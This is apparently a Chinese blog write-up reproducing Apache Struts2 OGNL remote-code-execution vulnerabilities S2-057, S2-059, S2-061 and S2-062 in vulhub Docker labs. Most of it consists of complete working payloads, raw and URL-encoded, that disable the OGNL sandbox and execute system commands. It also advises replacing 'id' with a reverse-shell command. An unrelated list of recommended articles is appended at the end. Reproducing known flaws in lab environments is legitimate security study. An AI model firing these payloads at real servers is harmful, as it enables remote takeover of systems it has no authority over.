一、漏洞描述

当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险(S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,导致S2-061再次绕过了S2-059的沙盒;s2-062是由于对s2-061的修复不完整造成的,s1-061漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 为攻击者恶意构造的OGNL表达式执行时,就产生s2-062漏洞)

二、影响版本

s2-057:<=Struts 2.3.34,Struts 2.5.16

s2-059:Struts 2.0.0 - Struts 2.5.20

s2-061:Struts 2.0.0-Struts 2.5.25

s2-062:Struts 2.0.0-Struts 2.5.29

三、环境搭建

vulhub下载,docker-compose up -d 一键起环境

四、漏洞复现

1、s2-057:

构造发包:GET /struts2-showcase/ POC /actionChain1.action

编译前poc:

${

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#ct=#request['struts.valueStack'].context).

(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).

(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).

(#ct.setMemberAccess(#dm)).

(#a=@java.lang.Runtime@getRuntime().exec('id')).

(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))

}

编译后poc:

%25%7B%0A%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).%0A(%23ct%3D%23request%5B'struts.valueStack'%5D.context).%0A(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).%0A(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).%0A(%23ou.setExcludedPackageNames('')).(%23ou.setExcludedClasses('')).%0A(%23ct.setMemberAccess(%23dm)).%0A(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).%0A(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%0A%7D

2、s2-059:

构造发包:GET /?id=POC

编译前poc:

%{

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#ct=#request['struts.valueStack'].context).

(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).

(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).

(#ct.setMemberAccess(#dm)).

(#a=@java.lang.Runtime@getRuntime().exec('id')).

(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))

}

编译后poc:

%25%7b(%23dm%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request['struts.valueStack'].context).(%23cr%3d%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3d%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedPackageNames('')).(%23ou.setExcludedClasses('')).(%23ct.setMemberAccess(%23dm)).(%23a%3d@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(%23a.getInputStream()))%7d

3、s2-061:

构造发包:GET /?id=POC

编译前POC:

%{

(#instancemanager=#application['org.apache.tomcat.InstanceManager']).

(#stack=#request['struts.valueStack']).

(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).

(#bean.setBean(#stack)).

(#context=#bean.get('context')).

(#bean.setBean(#context)).

(#macc=#bean.get('memberAccess')).

(#bean.setBean(#macc)).

(#emptyset=#instancemanager.newInstance('java.util.HashSet')).

(#bean.put('excludedClasses',#emptyset)).

(#bean.put('excludedPackageNames',#emptyset)).

(#arglist=#instancemanager.newInstance('java.util.ArrayList')).

(#arglist.add('id')).

(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).

(#execute.exec(#arglist))}

编译后:

%25%7b(%23instancemanager%3d%23application['org.apache.tomcat.InstanceManager']).(%23stack%3d%23request['struts.valueStack']).(%23bean%3d%23instancemanager.newInstance('org.apache.commons.collections.BeanMap')).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get('context')).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get('memberAccess')).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance('java.util.HashSet')).(%23bean.put('excludedClasses',%23emptyset)).(%23bean.put('excludedPackageNames',%23emptyset)).(%23arglist%3d%23instancemanager.newInstance('java.util.ArrayList')).(%23arglist.add('id')).(%23execute%3d%23instancemanager.newInstance('freemarker.template.utility.Execute')).(%23execute.exec(%23arglist))%7d

4、s2-062(此处使用的是vulfocus的CVE-2020-17530的镜像,061的镜像062一样适用)

构造发包:POST /index.action

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}

五、漏洞利用

直接替换'id'为反弹命令

六、漏洞修复

更新到最新版本

S2-057,S2-059,s2-061,s2-062漏洞复现相关推荐

  1. 算法019:字符串轮转。给定两个字符串s1和s2,请编写代码检查s2是否为s1旋转而成(比如,waterbottle是erbottlewat旋转后的字符串)。

    题目:字符串轮转.给定两个字符串s1和s2,请编写代码检查s2是否为s1旋转而成(比如,waterbottle是erbottlewat旋转后的字符串).示例1:输入:s1 = "waterb ...

  2. sharp s2 android 9,夏普AQUOS S2值得买吗?夏普S2全面深度评测

    2017年8月8日,夏普于北京正式发布了首款回归之作--夏普AQUOS S2.这款产品目标明确,就是用最抓人的全面屏当做记忆点,试图让广大消费者在最短的时间内重新认识该品牌.那么夏普S2究竟表现如何, ...

  3. lol手游s2服务器维护时间,lol手游s2赛季什么时候结束 赛季结束时间一览

    导 读 随着s2赛季的到来,相信很多玩家心里都有个疑问:lol手游s2赛季什么时候结束?可不要辛辛苦苦打出来的段位,因为自己一个不注意又迎来了新的赛季,那就有点白费功夫了呀. 通常来说,手游比端游赛季 ...

  4. 云服务器s2,腾讯云sa2和s2的区别是什么?这两种云服务器选择方法

    腾讯云服务器标准型S2和标准型SA2有什么区别?最大区别在于字母"A",A代表AMD CPU处理的意思,SA2是AMD处理器,而S2实例是Intel处理器,标准型SA2和标准型S2 ...

  5. Android之Adapter用法总结

    本文转自http://kb.cnblogs.com/a/2328334/,转载请注明原出处. Android之Adapter用法总结 作者:Devin Zhang  来源:博客园  发布时间:2012 ...

  6. Android中的各种Adapter

    1.概念 Adapter是连接后端数据和前端显示的适配器接口,是数据和UI(View)之间一个重要的纽带.在常见的View(ListView,GridView)等地方都需要用到Adapter.如下图直 ...

  7. Android Retrofit实现原理分析

    retrofit有几个关键的地方. 1.用户自定义的接口和接口方法.(由动态代理创建对象.) 2.converter转换器.(把response转换为一个具体的对象) 3.注解的使用. 让我们跟随Ap ...

  8. VF01 BAPI :BAPI_BILLINGDOC_CREATEMULTIPLE

    需求:合并开票 同一种发票类型的开在一张发票上,不同类型的发票类型开在不同发票上: 即:同一客户.销售组织.开票类型的结算单,开在同一张发票上. 也可以通过 VF04 合并开票. 如若通过BAPI,则 ...

  9. JAVA多线程-基础Lock Condition 并发集合

    代码的逻辑: 1)SProducer不停的产生number到queue中. 2)3个carrier不停的取出queue中的number. 3)如果queue中存在10个剩余number时,SProdu ...

  10. linux汇编中的注释,Linux 汇编器:对照 GAS 和 NASM

    Linux 汇编器:对比 GAS 和 NASM 转自 http://www.ibm.com/developerworks/cn/linux/l-gas-nasm.html#ibm-pcon 与其他语言 ...

最新文章

  1. [JAVA EE] JPA技术基础:完成数据列表的删除
  2. 机器学习常用损失函数小结
  3. Tomcat配置Jconsole , JvisualVm 监控配置
  4. 科技感的动态设计方法-2
  5. SpringSecurity相关jar包的介绍
  6. 数学在计算机科学上的应用文献,数学计算机论文,关于计算机在数学教学中的应用相关参考文献资料-免费论文范文...
  7. C#实现 获取指定字节长度 中英文混合字符串 的方法
  8. 北京环球影城上线王者荣耀英雄主题活动
  9. 省钱有简单的祛痘方法 - 健康程序员,至尚生活!
  10. 在mysql的操作界面中,如何清屏幕
  11. 我们需要什么样的计算
  12. 浅谈SSD应用和发展趋势
  13. 区块链软件公司:区块链的不可篡改贴合司法存证需求
  14. NVIDIA Nsight Systems 入门及使用
  15. 关于Navicat 数据库一直激活不成功的解决方法
  16. 风暴孵化分享:新手小白想做手游代理可不可以?
  17. win10键锁定计算机,Win10中最强大的键!你所不知道的Win键
  18. 黑盒渗透测试指导之XML注入
  19. 解决Ubuntu 键盘输入一直大写的问题
  20. 【Win10微信截图】Win10的wechat截图模糊修正

热门文章

  1. 2022年期末网页设计作业——如何制作企业网站(html+css制作)
  2. 计算机任务管理器介面如何调整,设置win10任务管理器显示性能小窗口的方法
  3. arm板上通过内核实现可滑动的电子相册
  4. PS-文字如何竖排版
  5. 杨澜访谈录之探寻人工智能1(机器的逆袭)
  6. chrome浏览器开发者工具network面板过滤、隐藏指定的请求
  7. 3 算术逻辑单元题库
  8. html用文本档案设置表格,phpspreadsheet 中文文档(四) 创建电子表格+档案格式
  9. POSTFIX+MARIADB postfix空壳邮件
  10. 去视频、图片水印免费工具/软件